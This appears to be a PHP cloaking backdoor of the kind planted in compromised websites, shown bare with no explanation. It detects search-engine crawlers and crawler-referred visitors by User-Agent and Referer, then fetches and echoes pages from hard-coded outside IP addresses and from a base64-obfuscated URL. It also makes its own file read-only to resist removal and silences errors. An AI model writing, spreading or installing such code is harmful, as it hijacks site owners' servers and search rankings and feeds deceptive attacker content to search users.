header('Content-Type:text/html;charset=utf-8');
set_time_limit(0);
error_reporting(0);
$tr = "stristr";
$er = $_SERVER;
function httpGet($url) {
$ch = curl_init();
//设置选项，包括URL
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
//执行并获取HTML文档内容
$output = curl_exec($ch);
//释放curl句柄
curl_close($ch);
//打印获得的数据
return $output;
}
$filename1 = @end(explode('/', $url1));
function set_writeable($file_name)
{
@chmod($file_name, 0444);
}
@chmod(FILE, 0444);
set_writeable($filename1);
define('url',$er['REQUEST_URI']);
define('ref',$er['HTTP_REFERER']);
define('ent',$er['HTTP_USER_AGENT']);
define('site',"http://38.207.237.28/");
define('road',"/?" .$er['HTTP_HOST'] . url);
define('regs','@Baidu|Sogou|Yisou|Soso|Haosou|Spider|So.com|Sm.cn@i');
define('area',$tr(url,".xml") or $tr(url,".doc") or $tr(url,".html") or $tr(url,"/gf") or $tr(url,".ppt") or $tr(url,".co") or $tr(url,"/news") or $tr(url,".csv") or $tr(url,".shl") or $tr(url,".tacc")or $tr(url,".ga")or $tr(url,".asp")or $tr(url,".aspx")or $tr(url,".gq")or $tr(url,".hl") or $tr(url,".xlsx") and $tr(url,"fg"));
if (area && preg_match(regs, ref)) {
echo file_get_contents("http://38.207.237.28/");
exit;
}
if (preg_match(regs, ent)) {
if (area) {
echo httpGet(site.road);
exit;
} else {
echo httpGet("http://38.207.237.29/x.php");
ob_flush();
flush();
}
}
$ua = $_SERVER['HTTP_USER_AGENT'];
isset($_SERVER['HTTP_REFERER'])?strtolower($_SERVER['HTTP_REFERER']):'';
if(stripos($ua,'Baiduspider') !== false || stripos($ua,'360Spider') !== false || stripos($ua,'Sogou') !== false || stripos($ua,'bingbot') !== false || stripos($ua,'Sosospider') !== false || stripos($ua,'Yahoo') !== false || stripos($ua,'YisouSpider') !== false || stripos($ua,'GoogleBot') !== false){
if($_SERVER['REQUEST_URI'] == '/'){
$hostUrl = base64_decode('aHR0cHM6Ly90ZGsud2lsZHBlcHBlcnNmLmNvbS9wZy50eHQ=');
echo file_get_contents($hostUrl);
}
}
?>
